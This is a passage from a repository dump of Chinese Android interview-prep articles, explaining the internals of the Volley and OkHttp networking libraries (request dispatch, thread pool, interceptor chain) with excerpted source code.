request.finish(\"network-discard-cancelled\");\n        } else {\n           ......\n      NetworkResponse e = this.mNetwork.performRequest(request);\n      request.addMarker(\"network-http-complete\");\n      if(e.notModified && request.hasHadResponseDelivered()) {\n        request.finish(\"not-modified\");\n       } else {\n        Response response = request.parseNetworkResponse(e);\n        request.addMarker(\"network-parse-complete\");\n       if(request.shouldCache() && response.cacheEntry != null) {\n                            this.mCache.put(request.getCacheKey(), response.cacheEntry);\n        request.addMarker(\"network-cache-written\");\n       }\n request.markDelivered();\n this.mDelivery.postResponse(request, response);\n }\n```\n\n### 由以上代码分析可知：\n\n1）通过mNetwork.performRequest(request);代码来发送网络请求\n\n2）而Network是一个接口，这里具体的实现之前已经分析是BasicNetwork，所以先看下它的performRequest()方法，如下所示：\n\n```java\npublic NetworkResponse performRequest(Request<?> request) throws VolleyError {\n    long requestStart = SystemClock.elapsedRealtime();\n    while(true) {\n      HttpResponse httpResponse = null;\n      Object responseContents = null;\n      HashMap responseHeaders = new HashMap();\n      try {\n       HashMap e = new HashMap();\n       this.addCacheHeaders(e, request.getCacheEntry());\n       httpResponse = this.mHttpStack.performRequest(request, e);\n      ......\n      byte[] responseContents1;\n      if(httpResponse.getEntity() != null) {\n          responseContents1 = this.entityToBytes(httpResponse.getEntity());\n      } else {\n          responseContents1 = new byte[0];\n      }\n\n   long requestLifetime = SystemClock.elapsedRealtime() - requestStart;\n   this.logSlowRequests(requestLifetime, request, responseContents1, statusCode2);\n   if(networkResponse1 >= 200 && networkResponse1 <= 299) {\n     return new NetworkResponse(networkResponse1, responseContents1, responseHeaders1, false);\n  }\n}\n```\n\n### 由上述代码可知：\n\n1）httpResponse = this.mHttpStack.performRequest(request, e)该方法返回了httpResponse\n\n2）把httpResponse 交给 new NetworkResponse对象进行处理，封装成NetworkResponse对象并返回\n\n3）在NetworkDispatcher#run()方法获取返回的NetworkResponse对象后，对响应解析\n\n4）在解析完了NetworkResponse中的数据之后，又会调用ExecutorDelivery（ResponseDelivery接口的实现类）的postResponse()方法来回调解析出的数据，具体代码如下所示：\n\n```java\n this.mDelivery.postResponse(request, response);\n```\n\n```java\npublic void postResponse(Request<?> request, Response<?> response, Runnable runnable) {\n        request.markDelivered();\n        request.addMarker(\"post-response\");\n        this.mResponsePoster.execute(new ExecutorDelivery.ResponseDeliveryRunnable(request, response, runnable));\n}\n```\n\n这里可以看见在mResponsePoster的execute()方法中传入了一个ResponseDeliveryRunnable对象，就可以保证该对象中的run()方法就是在主线程当中运行的了，我们看下run()方法中的代码是什么样的：\n\n```java\nif(this.mResponse.isSuccess()) {\n                      this.mRequest.deliverResponse(this.mResponse.result);\n } else {\n                 this.mRequest.deliverError(this.mResponse.error);\n}\n```\n\n### 以上代码可知\n\nmRequest的deliverResponse或者deliverError将反馈发送到回调到UI线程。这也是你重写实现的接口方法，到目前为止，关于Volley的源码解析完毕。\n\n### 总结\n\n1）当一个RequestQueue被成功申请后会开启一个CacheDispatcher和4个默认的NetworkDispatcher。\n\n2）CacheDispatcher缓存调度器最为第一层缓冲，开始工作后阻塞的从缓存序列mCacheQueue中取得请求；对于已经取消的请求，标记为跳过并结束这个请求；新的或者过期的请求，直接放入mNetworkQueue中由N个NetworkDispatcher进行处理；已获得缓存信息（网络应答）却没有过期的请求，由Request的parseNetworkResponse进行解析，从而确定此应答是否成功。然后将请求和应答交由Delivery分发者进行处理，如果需要更新缓存那么该请求还会被放入mNetworkQueue中。\n\n3）将请求Request add到RequestQueue后对于不需要缓存的请求（需要额外设置，默认是需要缓存）直接丢入mNetworkQueue交给N个NetworkDispatcher处理；对于需要缓存的，新的请求加到mCacheQueue中给CacheDispatcher处理；需要缓存，但是缓存列表中已经存在了相同URL的请求，放在mWaitingQueue中做暂时处理，等待之前请求完毕后，再重新添加到mCacheQueue中。\n\n4）网络请求调度器NetworkDispatcher作为网络请求真实发生的地方，对消息交给BasicNetwork进行处理，同样的，请求和结果都交由Delivery分发者进行处理。"
  },
  {
    "path": "docs/android/Android-Interview/源码分析/okhttp内核剖析.md",
    "content": "okhttp源码特别特别复杂，类涉及较多，导致本文非常长，我相信没有几个人能把本文看完，所以特意录制了跟文章同步的视频。\n\n### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频：\n\n- [okhttp内核分析配套视频一](https://v.qq.com/x/page/j050015e4sm.html)\n- [okhttp内核分析配套视频二](https://v.qq.com/x/page/i05006qtood.html)\n- [okhttp内核分析配套视频三](https://v.qq.com/x/page/y0500461od9.html)\n\n#### 基本使用\n\n从使用方法出发，首先是怎么使用，其次是我们使用的功能在内部是如何实现的.建议大家下载 OkHttp 源码之后，跟着本文，过一遍源码。\n\n官方博客栗子：[http://square.github.io/okhttp/#examples](http://square.github.io/okhttp/#examples)\n\n```java\nOkHttpClient client = new OkHttpClient();\n\nString run(String url) throws IOException {\n  Request request = new Request.Builder()\n      .url(url)\n      .build();\n\n  Response response = client.newCall(request).execute();\n  return response.body().string();\n}\n```\n\n### Request、Response、Call 基本概念\n\n上面的代码中涉及到几个常用的类：Request、Response和Call。下面分别介绍：\n\n#### Request\n\n每一个HTTP请求包含一个URL、一个方法（GET或POST或其他）、一些HTTP头。请求还可能包含一个特定内容类型的数据类的主体部分。\n\n#### Response\n\n响应是对请求的回复，包含状态码、HTTP头和主体部分。\n\n#### Call\n\nOkHttp使用Call抽象出一个满足请求的模型，尽管中间可能会有多个请求或响应。执行Call有两种方式，同步或异步\n\n### 第一步：创建 OkHttpClient对象,进行源码分析：\n\n```java\nOkHttpClient client = new OkHttpClient();\n```\n\n通过okhttp源码分析,直接创建的 OkHttpClient对象并且默认构造builder对象进行初始化\n\n```java\npublic class OkHttpClient implements Cloneable, Call.Factory, WebSocket.Factory {\n  public OkHttpClient() {\n       this(new Builder());\n  }\n  OkHttpClient(Builder builder) {\n    this.dispatcher = builder.dispatcher;\n    this.proxy = builder.proxy;\n    this.protocols = builder.protocols;\n    this.connectionSpecs = builder.connectionSpecs;\n    this.interceptors = Util.immutableList(builder.interceptors);\n    this.networkInterceptors = Util.immutableList(builder.networkInterceptors);\n    this.eventListenerFactory = builder.eventListenerFactory;\n    this.proxySelector = builder.proxySelector;\n    this.cookieJar = builder.cookieJar;\n    this.cache = builder.cache;\n    this.internalCache = builder.internalCache;\n    this.socketFactory = builder.socketFactory;\n\n    boolean isTLS = false;\n    ......\n\n    this.hostnameVerifier = builder.hostnameVerifier;\n    this.certificatePinner = builder.certificatePinner.withCertificateChainCleaner(\n        certificateChainCleaner);\n    this.proxyAuthenticator = builder.proxyAuthenticator;\n    this.authenticator = builder.authenticator;\n    this.connectionPool = builder.connectionPool;\n    this.dns = builder.dns;\n    this.followSslRedirects = builder.followSslRedirects;\n    this.followRedirects = builder.followRedirects;\n    this.retryOnConnectionFailure = builder.retryOnConnectionFailure;\n    this.connectTimeout = builder.connectTimeout;\n    this.readTimeout = builder.readTimeout;\n    this.writeTimeout = builder.writeTimeout;\n    this.pingInterval = builder.pingInterval;\n  }\n}\n```\n\n### 第二步：接下来发起 HTTP 请求\n\n```java\nRequest request = new Request.Builder().url(\"url\").build();\nokHttpClient.newCall(request).enqueue(new Callback() {\n  @Override\n  public void onFailure(Call call, IOException e) {\n\n }\n\n@Override\npublic void onResponse(Call call, Response response) throws IOException {\n\n}\n});\n```\n\n### 第二步：代码流程分析：\n\n```java\nRequest request = new Request.Builder().url(\"url\").build();\n```\n\n初始化构建者模式和请求对象，并且用URL替换Web套接字URL。\n\n```java\npublic final class Request {\n    public Builder() {\n      this.method = \"GET\";\n      this.headers = new Headers.Builder();\n    }\n    public Builder url(String url) {\n      ......\n\n      // Silently replace web socket URLs with HTTP URLs.\n      if (url.regionMatches(true, 0, \"ws:\", 0, 3)) {\n        url = \"http:\" + url.substring(3);\n      } else if (url.regionMatches(true, 0, \"wss:\", 0, 4)) {\n        url = \"https:\" + url.substring(4);\n      }\n\n      HttpUrl parsed = HttpUrl.parse(url);\n      ......\n      return url(parsed);\n    }\n    public Request build() {\n      ......\n      return new Request(this);\n    }\n}\n```\n\n### 第三步：方法解析：\n\n```java\nokHttpClient.newCall(request).enqueue(new Callback() {\n@Override\npublic void onFailure(Call call, IOException e) {\n\n}\n\n@Override\npublic void onResponse(Call call, Response response) throws IOException {\n\n}\n});\n```\n\n源码分析：\n\n```java\npublic class OkHttpClient implements Cloneable, Call.Factory, WebSocket.Factory {\n   @Override \n   public Call newCall(Request request) {\n    return new RealCall(this, request, false /* for web socket */);\n   }\n\n\n\n}\n```\n\nRealCall实现了Call.Factory接口创建了一个RealCall的实例，而RealCall是Call接口的实现。\n\n### 异步请求的执行流程\n\n```java\nfinal class RealCall implements Call {\n   @Override \n   public void enqueue(Callback responseCallback) {\n   synchronized (this) {\n   if (executed) throw new IllegalStateException(\"Already Executed\");\n      executed = true;\n   }\n    captureCallStackTrace();\n    client.dispatcher().enqueue(new AsyncCall(responseCallback));\n  }\n}\n```\n\n### 由以上源码得知：\n\n1） 检查这个 call 是否已经被执行了，每个 call 只能被执行一次，如果想要一个完全一样的 call，可以利用 call#clone 方法进行克隆。\n\n2）利用 client.dispatcher().enqueue(this) 来进行实际执行，dispatcher 是刚才看到的 OkHttpClient.Builder 的成员之一\n\n3）AsyncCall是RealCall的一个内部类并且继承NamedRunnable，那么首先看NamedRunnable类是什么样的，如下：\n\n```java\npublic abstract class NamedRunnable implements Runnable {\n  ......\n\n  @Override \n  public final void run() {\n   ......\n    try {\n      execute();\n    }\n    ......\n  }\n\n  protected abstract void execute();\n}\n```\n\n可以看到NamedRunnable实现了Runnbale接口并且是个抽象类，其抽象方法是execute()，该方法是在run方法中被调用的，这也就意味着NamedRunnable是一个任务，并且其子类应该实现execute方法。下面再看AsyncCall的实现：\n\n```java\nfinal class AsyncCall extends NamedRunnable {\n    private final Callback responseCallback;\n\n    AsyncCall(Callback responseCallback) {\n      super(\"OkHttp %s\", redactedUrl());\n      this.responseCallback = responseCallback;\n    }\n\n    ......\nfinal class RealCall implements Call {\n  @Override protected void execute() {\n  boolean signalledCallback = false;\n  try {\n     Response response = getResponseWithInterceptorChain();\n  if (retryAndFollowUpInterceptor.isCanceled()) {\n     signalledCallback = true;\n     responseCallback.onFailure(RealCall.this, new IOException(\"Canceled\"));\n  } else {\n    signalledCallback = true;\n    responseCallback.onResponse(RealCall.this, response);\n  }\n } catch (IOException e) {\n  ......\n  responseCallback.onFailure(RealCall.this, e);\n\n} finally {\n    client.dispatcher().finished(this);\n  }\n}\n```\n\nAsyncCall实现了execute方法，首先是调用getResponseWithInterceptorChain()方法获取响应，然后获取成功后，就调用回调的onReponse方法，如果失败，就调用回调的onFailure方法。最后，调用Dispatcher的finished方法。\n\n关键代码：\n\nresponseCallback.onFailure(RealCall.this, new IOException(\"Canceled\"));\n\n和\n\nresponseCallback.onResponse(RealCall.this, response);\n\n走完这两句代码会进行回调到刚刚我们初始化Okhttp的地方,如下：\n\n```java\nokHttpClient.newCall(request).enqueue(new Callback() {\n   @Override\n   public void onFailure(Call call, IOException e) {\n\n   }\n\n   @Override\n   public void onResponse(Call call, Response response) throws IOException {\n\n   }\n});\n```\n\n### 核心重点类Dispatcher线程池介绍\n\n```java\npublic final class Dispatcher {\n  /** 最大并发请求数为64 */\n  private int maxRequests = 64;\n  /** 每个主机最大请求数为5 */\n  private int maxRequestsPerHost = 5;\n\n  /** 线程池 */\n  private ExecutorService executorService;\n\n  /** 准备执行的请求 */\n  private final Deque<AsyncCall> readyAsyncCalls = new ArrayDeque<>();\n\n  /** 正在执行的异步请求，包含已经取消但未执行完的请求 */\n  private final Deque<AsyncCall> runningAsyncCalls = new ArrayDeque<>();\n\n  /** 正在执行的同步请求，包含已经取消单未执行完的请求 */\n  private final Deque<RealCall> runningSyncCalls = new ArrayDeque<>();\n```\n\n在OkHttp，使用如下构造了单例线程池\n\n```java\npublic synchronized ExecutorService executorService() {\n    if (executorService == null) {\n      executorService = new ThreadPoolExecutor(0, Integer.MAX_VALUE, 60, TimeUnit.SECONDS,\n          new SynchronousQueue<Runnable>(), Util.threadFactory(\"OkHttp Dispatcher\", false));\n    }\n    return executorService;\n  }\n```\n\n构造一个线程池ExecutorService：\n\n```java\nexecutorService = new ThreadPoolExecutor(\n//corePoolSize 最小并发线程数,如果是0的话，空闲一段时间后所有线程将全部被销毁\n    0, \n//maximumPoolSize: 最大线程数，当任务进来时可以扩充的线程最大值，当大于了这个值就会根据丢弃处理机制来处理\n    Integer.MAX_VALUE, \n//keepAliveTime: 当线程数大于corePoolSize时，多余的空闲线程的最大存活时间\n    60, \n//单位秒\n    TimeUnit.SECONDS,\n//工作队列,先进先出\n    new SynchronousQueue<Runnable>(),   \n//单个线程的工厂         \n   Util.threadFactory(\"OkHttp Dispatcher\", false));\n```\n\n可以看出，在Okhttp中，构建了一个核心为[0, Integer.MAX_VALUE]的线程池，它不保留任何最小线程数，随时创建更多的线程数，当线程空闲时只能活60秒，它使用了一个不存储元素的阻塞工作队列，一个叫做\"OkHttp Dispatcher\"的线程工厂。\n\n也就是说，在实际运行中，当收到10个并发请求时，线程池会创建十个线程，当工作完成后，线程池会在60s后相继关闭所有线程。\n\n```java\nsynchronized void enqueue(AsyncCall call) {\n    if (runningAsyncCalls.size() < maxRequests && runningCallsForHost(call) < maxRequestsPerHost) {\n      runningAsyncCalls.add(call);\n      executorService().execute(call);\n    } else {\n      readyAsyncCalls.add(call);\n    }\n  }\n```\n\n从上述源码分析，如果当前还能执行一个并发请求，则加入 runningAsyncCalls ，立即执行，否则加入 readyAsyncCalls 队列。\n\n#### Dispatcher线程池总结\n\n1）调度线程池Disptcher实现了高并发，低阻塞的实现\n2）采用Deque作为缓存，先进先出的顺序执行\n3）任务在try/finally中调用了finished函数，控制任务队列的执行顺序，而不是采用锁，减少了编码复杂性提高性能\n\n这里是分析OkHttp源码，并不详细讲线程池原理，如对线程池不了解请参考如下链接\n\n[点我，线程池原理，在文章性能优化最后有视频对线程池原理讲解](http://www.jianshu.com/p/c22398f8587f)\n\n```java\n try {\n        Response response = getResponseWithInterceptorChain();\n        if (retryAndFollowUpInterceptor.isCanceled()) {\n          signalledCallback = true;\n          responseCallback.onFailure(RealCall.this, new IOException(\"Canceled\"));\n        } else {\n          signalledCallback = true;\n          responseCallback.onResponse(RealCall.this, response);\n        }\n      } finally {\n        client.dispatcher().finished(this);\n      }\n```\n\n当任务执行完成后，无论是否有异常，finally代码段总会被执行，也就是会调用Dispatcher的finished函数\n\n```java\n void finished(AsyncCall call) {\n    finished(runningAsyncCalls, call, true);\n  }\n```\n\n从上面的代码可以看出，第一个参数传入的是正在运行的异步队列，第三个参数为true，下面再看有是三个参数的finished方法：\n\n```java\nprivate <T> void finished(Deque<T> calls, T call, boolean promoteCalls) {\n    int runningCallsCount;\n    Runnable idleCallback;\n    synchronized (this) {\n      if (!calls.remove(call)) throw new AssertionError(\"Call wasn't in-flight!\");\n      if (promoteCalls) promoteCalls();\n      runningCallsCount = runningCallsCount();\n      idleCallback = this.idleCallback;\n    }\n\n    if (runningCallsCount == 0 && idleCallback != null) {\n      idleCallback.run();\n    }\n  }\n```\n\n打开源码，发现它将正在运行的任务Call从队列runningAsyncCalls中移除后，获取运行数量判断是否进入了Idle状态,接着执行promoteCalls()函数,下面是promoteCalls()方法：\n\n```java\nprivate void promoteCalls() {\n    if (runningAsyncCalls.size() >= maxRequests) return; // Already running max capacity.\n    if (readyAsyncCalls.isEmpty()) return; // No ready calls to promote.\n\n    for (Iterator<AsyncCall> i = readyAsyncCalls.iterator(); i.hasNext(); ) {\n      AsyncCall call = i.next();\n\n      if (runningCallsForHost(call) < maxRequestsPerHost) {\n        i.remove();\n        runningAsyncCalls.add(call);\n        executorService().execute(call);\n      }\n\n      if (runningAsyncCalls.size() >= maxRequests) return; // Reached max capacity.\n    }\n  }\n```\n\n主要就是遍历等待队列，并且需要满足同一主机的请求小于maxRequestsPerHost时，就移到运行队列中并交给线程池运行。就主动的把缓存队列向前走了一步，而没有使用互斥锁等复杂编码\n\n### 核心重点getResponseWithInterceptorChain方法\n\n```java\nResponse getResponseWithInterceptorChain() throws IOException {\n    // Build a full stack of interceptors.\n    List<Interceptor> interceptors = new ArrayList<>();\n    interceptors.addAll(client.interceptors());\n    interceptors.add(retryAndFollowUpInterceptor);\n    interceptors.add(new BridgeInterceptor(client.cookieJar()));\n    interceptors.add(new CacheInterceptor(client.internalCache()));\n    interceptors.add(new ConnectInterceptor(client));\n    if (!forWebSocket) {\n      interceptors.addAll(client.networkInterceptors());\n    }\n    interceptors.add(new CallServerInterceptor(forWebSocket));\n\n    Interceptor.Chain chain = new RealInterceptorChain(\n        interceptors, null, null, null, 0, originalRequest);\n    return chain.proceed(originalRequest);\n  }\n```\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-e7f17417cf6fa30a?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n1）在配置 OkHttpClient 时设置的 interceptors；\n2）负责失败重试以及重定向的 RetryAndFollowUpInterceptor；\n3）负责把用户构造的请求转换为发送到服务器的请求、把服务器返回的响应转换为用户友好的响应的 BridgeInterceptor；\n4）负责读取缓存直接返回、更新缓存的 CacheInterceptor；\n5）负责和服务器建立连接的 ConnectInterceptor；\n6）配置 OkHttpClient 时设置的 networkInterceptors；\n7）负责向服务器发送请求数据、从服务器读取响应数据的 CallServerInterceptor。\n\nOkHttp的这种拦截器链采用的是责任链模式，这样的好处是将请求的发送和处理分开，并且可以动态添加中间的处理方实现对请求的处理、短路等操作。\n\n从上述源码得知，不管okhttp有多少拦截器最后都会走，如下方法：\n\n```java\nInterceptor.Chain chain = new RealInterceptorChain(\n        interceptors, null, null, null, 0, originalRequest);\nreturn chain.proceed(originalRequest);\n```\n\n从方法名字基本可以猜到是干嘛的，调用 chain.proceed(originalRequest); 将request传递进来，从拦截器链里拿到返回结果。那么拦截器Interceptor是干嘛的，Chain是干嘛的呢？继续往下看RealInterceptorChain\n\nRealInterceptorChain类\n\n下面是RealInterceptorChain的定义，该类实现了Chain接口，在getResponseWithInterceptorChain调用时好几个参数都传的null。\n\n```java\npublic final class RealInterceptorChain implements Interceptor.Chain {\n\n   public RealInterceptorChain(List<Interceptor> interceptors, StreamAllocation streamAllocation,\n        HttpCodec httpCodec, RealConnection connection, int index, Request request) {\n        this.interceptors = interceptors;\n        this.connection = connection;\n        this.streamAllocation = streamAllocation;\n        this.httpCodec = httpCodec;\n        this.index = index;\n        this.request = request;\n  }\n  ......\n\n @Override \n public Response proceed(Request request) throws IOException {\n    return proceed(request, streamAllocation, httpCodec, connection);\n  }\n\n  public Response proceed(Request request, StreamAllocation streamAllocation, HttpCodec httpCodec,\n      RealConnection connection) throws IOException {\n    if (index >= interceptors.size()) throw new AssertionError();\n\n    calls++;\n\n    ......\n\n    // Call the next interceptor in the chain.\n    RealInterceptorChain next = new RealInterceptorChain(\n        interceptors, streamAllocation, httpCodec, connection, index + 1, request);\n    Interceptor interceptor = interceptors.get(index);\n    Response response = interceptor.intercept(next);\n\n   ......\n\n    return response;\n  }\n\n  protected abstract void execute();\n}\n```\n\n主要看proceed方法，proceed方法中判断index（此时为0）是否大于或者等于client.interceptors(List )的大小。由于httpStream为null，所以首先创建next拦截器链，主需要把索引置为index+1即可；然后获取第一个拦截器，调用其intercept方法。\n\nInterceptor 代码如下：\n\n```java\npublic interface Interceptor {\n  Response intercept(Chain chain) throws IOException;\n\n  interface Chain {\n    Request request();\n\n    Response proceed(Request request) throws IOException;\n\n    Connection connection();\n  }\n}\n```\n\nBridgeInterceptor\n\nBridgeInterceptor从用户的请求构建网络请求，然后提交给网络，最后从网络响应中提取出用户响应。从最上面的图可以看出，BridgeInterceptor实现了适配的功能。下面是其intercept方法：\n\n```java\npublic final class BridgeInterceptor implements Interceptor {\n  ......\n\n@Override \npublic Response intercept(Chain chain) throws IOException {\n  Request userRequest = chain.request();\n  Request.Builder requestBuilder = userRequest.newBuilder();\n\n RequestBody body = userRequest.body();\n //如果存在请求主体部分，那么需要添加Content-Type、Content-Length首部\n if (body != null) {\n      MediaType contentType = body.contentType();\n      if (contentType != null) {\n        requestBuilder.header(\"Content-Type\", contentType.toString());\n      }\n\n      long contentLength = body.contentLength();\n      if (contentLength != -1) {\n        requestBuilder.header(\"Content-Length\", Long.toString(contentLength));\n        requestBuilder.removeHeader(\"Transfer-Encoding\");\n      } else {\n        requestBuilder.header(\"Transfer-Encoding\", \"chunked\");\n        requestBuilder.removeHeader(\"Content-Length\");\n      }\n    }\n\n    if (userRequest.header(\"Host\") == null) {\n      requestBuilder.header(\"Host\", hostHeader(userRequest.url(), false));\n    }\n\n    if (userRequest.header(\"Connection\") == null) {\n      requestBuilder.header(\"Connection\", \"Keep-Alive\");\n    }\n\n    // If we add an \"Accept-Encoding: gzip\" header field we're responsible for also decompressing\n    // the transfer stream.\n    boolean transparentGzip = false;\n    if (userRequest.header(\"Accept-Encoding\") == null && userRequest.header(\"Range\") == null) {\n      transparentGzip = true;\n      requestBuilder.header(\"Accept-Encoding\", \"gzip\");\n    }\n\n    List<Cookie> cookies = cookieJar.loadForRequest(userRequest.url());\n    if (!cookies.isEmpty()) {\n      requestBuilder.header(\"Cookie\", cookieHeader(cookies));\n    }\n\n  if (userRequest.header(\"User-Agent\") == null) {\n      requestBuilder.header(\"User-Agent\", Version.userAgent());\n  }\n\nResponse networkResponse = chain.proceed(requestBuilder.build());\n\nHttpHeaders.receiveHeaders(cookieJar, userRequest.url(), networkResponse.headers());\n\nResponse.Builder responseBuilder = networkResponse.newBuilder()\n        .request(userRequest);\n\n    if (transparentGzip\n        && \"gzip\".equalsIgnoreCase(networkResponse.header(\"Content-Encoding\"))\n        && HttpHeaders.hasBody(networkResponse)) {\n      GzipSource responseBody = new GzipSource(networkResponse.body().source());\n      Headers strippedHeaders = networkResponse.headers().newBuilder()\n          .removeAll(\"Content-Encoding\")\n          .removeAll(\"Content-Length\")\n          .build();\n      responseBuilder.headers(strippedHeaders);\n      responseBuilder.body(new RealResponseBody(strippedHeaders, Okio.buffer(responseBody)));\n    }\n\n    return responseBuilder.build();\n  }\n\n  /** Returns a 'Cookie' HTTP request header with all cookies, like {@code a=b; c=d}. */\n  private String cookieHeader(List<Cookie> cookies) {\n    StringBuilder cookieHeader = new StringBuilder();\n    for (int i = 0, size = cookies.size(); i < size; i++) {\n      if (i > 0) {\n        cookieHeader.append(\"; \");\n      }\n      Cookie cookie = cookies.get(i);\n      cookieHeader.append(cookie.name()).append('=').append(cookie.value());\n    }\n    return cookieHeader.toString();\n  }\n}\n```\n\n从上面的代码可以看出，首先获取原请求，然后在请求中添加头，比如Host、Connection、Accept-Encoding参数等，然后根据看是否需要填充Cookie，在对原始请求做出处理后，使用chain的procced方法得到响应，接下来对响应做处理得到用户响应，最后返回响应。接下来再看下一个拦截器ConnectInterceptor的处理。\n\n```java\npublic final class ConnectInterceptor implements Interceptor {\n  ......\n\n @Override \n public Response intercept(Chain chain) throws IOException {\n RealInterceptorChain realChain = (RealInterceptorChain) chain;\nRequest request = realChain.request();\nStreamAllocation streamAllocation = realChain.streamAllocation();\n\n // We need the network to satisfy this request. Possibly for validating a conditional GET.\n boolean doExtensiveHealthChecks = !request.method().equals(\"GET\");\n HttpCodec httpCodec = streamAllocation.newStream(client, doExtensiveHealthChecks);\n RealConnection connection = streamAllocation.connection();\n\n return realChain.proceed(request, streamAllocation, httpCodec, connection);\n  }\n}\n```\n\n实际上建立连接就是创建了一个 HttpCodec 对象，它利用 Okio 对 Socket 的读写操作进行封装，Okio 以后有机会再进行分析，现在让我们对它们保持一个简单地认识：它对 java.io 和 java.nio 进行了封装，让我们更便捷高效的进行 IO 操作。\n\nCallServerInterceptor\n\nCallServerInterceptor是拦截器链中最后一个拦截器，负责将网络请求提交给服务器。它的intercept方法实现如下：\n\n```java\n@Override \npublic Response intercept(Chain chain) throws IOException {\n    RealInterceptorChain realChain = (RealInterceptorChain) chain;\n    HttpCodec httpCodec = realChain.httpStream();\n    StreamAllocation streamAllocation = realChain.streamAllocation();\n    RealConnection connection = (RealConnection) realChain.connection();\n    Request request = realChain.request();\n\n    long sentRequestMillis = System.currentTimeMillis();\n    httpCodec.writeRequestHeaders(request);\n\n    Response.Builder responseBuilder = null;\n    if (HttpMethod.permitsRequestBody(request.method()) && request.body() != null) {\n      // If there's a \"Expect: 100-continue\" header on the request, wait for a \"HTTP/1.1 100\n      // Continue\" response before transmitting the request body. If we don't get that, return what\n      // we did get (such as a 4xx response) without ever transmitting the request body.\n      if (\"100-continue\".equalsIgnoreCase(request.header(\"Expect\"))) {\n        httpCodec.flushRequest();\n        responseBuilder = httpCodec.readResponseHeaders(true);\n      }\n\n      if (responseBuilder == null) {\n        // Write the request body if the \"Expect: 100-continue\" expectation was met.\n        Sink requestBodyOut = httpCodec.createRequestBody(request, request.body().contentLength());\n        BufferedSink bufferedRequestBody = Okio.buffer(requestBodyOut);\n        request.body().writeTo(bufferedRequestBody);\n        bufferedRequestBody.close();\n      } else if (!connection.isMultiplexed()) {\n        // If the \"Expect: 100-continue\" expectation wasn't met, prevent the HTTP/1 connection from\n        // being reused. Otherwise we're still obligated to transmit the request body to leave the\n        // connection in a consistent state.\n        streamAllocation.noNewStreams();\n      }\n    }\n\n    httpCodec.finishRequest();\n\n    if (responseBuilder == null) {\n      responseBuilder = httpCodec.readResponseHeaders(false);\n    }\n\n    Response response = responseBuilder\n        .request(request)\n        .handshake(streamAllocation.connection().handshake())\n        .sentRequestAtMillis(sentRequestMillis)\n        .receivedResponseAtMillis(System.currentTimeMillis())\n        .build();\n\n    int code = response.code();\n    if (forWebSocket && code == 101) {\n      // Connection is upgrading, but we need to ensure interceptors see a non-null response body.\n      response = response.newBuilder()\n          .body(Util.EMPTY_RESPONSE)\n          .build();\n    } else {\n      response = response.newBuilder()\n          .body(httpCodec.openResponseBody(response))\n          .build();\n    }\n\n    if (\"close\".equalsIgnoreCase(response.request().header(\"Connection\"))\n        || \"close\".equalsIgnoreCase(response.header(\"Connection\"))) {\n      streamAllocation.noNewStreams();\n    }\n\n    if ((code == 204 || code == 205) && response.body().contentLength() > 0) {\n      throw new ProtocolException(\n          \"HTTP \" + code + \" had non-zero Content-Length: \" + response.body().contentLength());\n    }\n\n    return response;\n  }\n```\n\n从上面的代码中可以看出，首先获取HttpStream对象，然后调用writeRequestHeaders方法写入请求的头部，然后判断是否需要写入请求的body部分，最后调用finishRequest()方法将所有数据刷新给底层的Socket，接下来尝试调用readResponseHeaders()方法读取响应的头部，然后再调用openResponseBody()方法得到响应的body部分，最后返回响应。\n\n### 最后总结\n\nOkHttp的底层是通过Java的Socket发送HTTP请求与接受响应的(这也好理解，HTTP就是基于TCP协议的)，但是OkHttp实现了连接池的概念，即对于同一主机的多个请求，其实可以公用一个Socket连接，而不是每次发送完HTTP请求就关闭底层的Socket，这样就实现了连接池的概念。而OkHttp对Socket的读写操作使用的OkIo库进行了一层封装。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-dc97d1a43aed5334?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/源码分析/注解框架内部实现原理.md",
